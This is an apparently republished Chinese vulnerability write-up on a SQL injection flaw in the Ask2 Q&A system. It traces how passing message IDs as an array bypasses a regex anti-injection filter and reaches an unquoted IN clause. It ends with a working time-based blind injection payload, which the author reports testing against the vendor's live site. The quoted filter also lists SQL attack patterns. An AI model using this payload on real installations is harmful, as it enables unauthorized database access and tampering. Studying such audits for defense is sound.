Ask2问答系统最新版注入
来源:互联网 发布:bi制作视频软件 编辑:程序博客网 时间:2024/05/12 17:41
0x00 代码审计
全局防注入机制,在/model/sowenda.class.php中第32行:
- $querystring = isset($_SERVER['QUERY_STRING']) ? $_SERVER['QUERY_STRING'] : '';
-
- $pos = strrpos($querystring, '.');
- if ($pos !== false) {
- $querystring = substr($querystring, 0, $pos);
- }
- /* 处理简短url */
- $pos = strpos($querystring, '-');
- $pos2 = strpos($querystring, '=');
- ($pos !== false) && $querystring = urlmap($querystring);
-
- ($pos2 !== false) && $querystring = urlmap($querystring);
-
- $andpos = strpos($querystring, "&");
- $andpos && $querystring = substr($querystring, 0, $andpos);
- $this->get = explode('/', $querystring);
- if (empty($this->get[0])) {
- $this->get[0] = 'index';
- }
- if (empty($this->get[1])) {
- $this->get[1] = 'default';
- }
- if (count($this->get) < 2) { exit(' Access Denied !'); } unset($GLOBALS, $_ENV, $HTTP_GET_VARS, $HTTP_POST_VARS, $HTTP_COOKIE_VARS, $HTTP_SERVER_VARS, $HTTP_ENV_VARS); $this->get = taddslashes($this->get, 1);
- $this->post = taddslashes(array_merge($_GET, $_POST));
-
- checkattack($this->post, 'post');
- checkattack($this->get, 'get');
- unset($_POST);
可以看到这里对$_GET和$_POST都用taddslashes()做了处理,我们跟踪一下这个函数:
在/lib/global.func.php中第324行:
- function taddslashes($string, $force = 0) {
- if (!MAGIC_QUOTES_GPC || $force) {
- if (is_array($string)) {
- foreach ($string as $key => $val) {
- $string[$key] = taddslashes($val, $force);
- }
- } else {
- $string = addslashes($string);
- }
- }
- return $string;
- }
可以看到这是一个转义函数,也就是说进行了一个全局的转义,最麻烦的不是这个,而是下一个函数:
- checkattack($this->post, 'post');
- checkattack($this->get, 'get');
将$_GET和$_POST带入到了checkattack()这个函数中,我们追踪一下这个函数,在/lib/global.func.php中第339行:
- function checkattack($reqarr, $reqtype = 'post') {
- $filtertable = array(
- 'get' => '\'|(and|or)\\b.+?(>|<|=|in|like)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)', 'post' => '\\b(and|or)\\b.{1,6}?(=|>|<|\\bin\\b|\\blike\\b)|\\/\\*.+?\\*\\/|<\\s\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)', 'cookie' => '\\b(and|or)\\b.{1,6}?(=|>|<|\\bin\\b|\\blike\\b)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)' ); foreach ($reqarr as $reqkey=> $reqvalue) {
- if (preg_match("/" . $filtertable[$reqtype] . "/is", $reqvalue) == 1 && !in_array($reqkey, array('content'))){
- print('Illegal operation!');
- exit(-1);
- }
- }
- }
可以看到这是一个防注入函数,这就很恼火了。不过这注入漏洞我们可以绕过它。
看一下漏洞触发点:
- 在/control/message.php中第84行:
- function onremove() {
- if (isset($this->post['submit'])) {
- $inbox = $this->post['messageid']['inbox'];
- $outbox = $this->post['messageid']['outbox'];
- if ($inbox)
- $_ENV['message']->remove("inbox", $inbox);
-
- if ($outbox)
- $_ENV['message']->remove("outbox", $outbox);
-
- $this->message("消息删除成功!", get_url_source());
- }
- }
可以看到这里的有两个变量是我们可控的,$inbox和$outbox。
我们可以将这两个变量带入到了remove()函数中,我们跟踪一下remove函数:
在/model/message.class.php中第91行:
- function remove($type, $msgids) {
- $messageid = ($msgids && is_array($msgids)) ? implode(",", $msgids) : $msgids;
- if ('inbox' == $type) {
- $this->db->query("DELETE FROM " . DB_TABLEPRE . "message WHERE fromuid=0 AND `id` IN ($messageid)");
- $this->db->query("DELETE FROM " . DB_TABLEPRE . "message WHERE status = 1 AND `id` IN ($messageid)");
- $this->db->query("UPDATE " . DB_TABLEPRE . "message SET status=2 WHERE status=0 AND `id` IN ($messageid)");
- } else {
- $this->db->query("DELETE FROM " . DB_TABLEPRE . "message WHERE status = 2 AND `id` IN ($messageid)");
- $this->db->query("UPDATE " . DB_TABLEPRE . "message SET status=1 WHERE status=0 AND `id` IN ($messageid)");
- }
- }
可以看到直接将我们可控的变量带入到了sql语句中,周围只有括号进行包裹,并没有引号进行包裹,所以说全局转义我们可以绕过了,那么那个防注入函数怎么绕过呢。
我们仔细看一下那个防注入函数,可以看到只是对字符串进行了检测,但是如果我们传入的是个数组呢?那个防注入函数并没有进行是数组的检测。
那么我们仔细看一下我们可控的这两个变量:
- $inbox = $this->post['messageid']['inbox'];
- $outbox = $this->post['messageid']['outbox'];
可以看到是一个数组中的值,而防注入并没有对数组进行检测,所以我们可以绕过防注入函数。
0x01 漏洞复现
漏洞利用方式:
我们直接去官网进行测试:
http://www.ask2.cn/
先在官网注册登录一个账号,然后访问如下payload:
- http://www.ask2.cn/message/remove.html
- POST: submit=2&messageid[inbox]=-1,if(1=1,sleep(1),0)
成功延迟:
0 0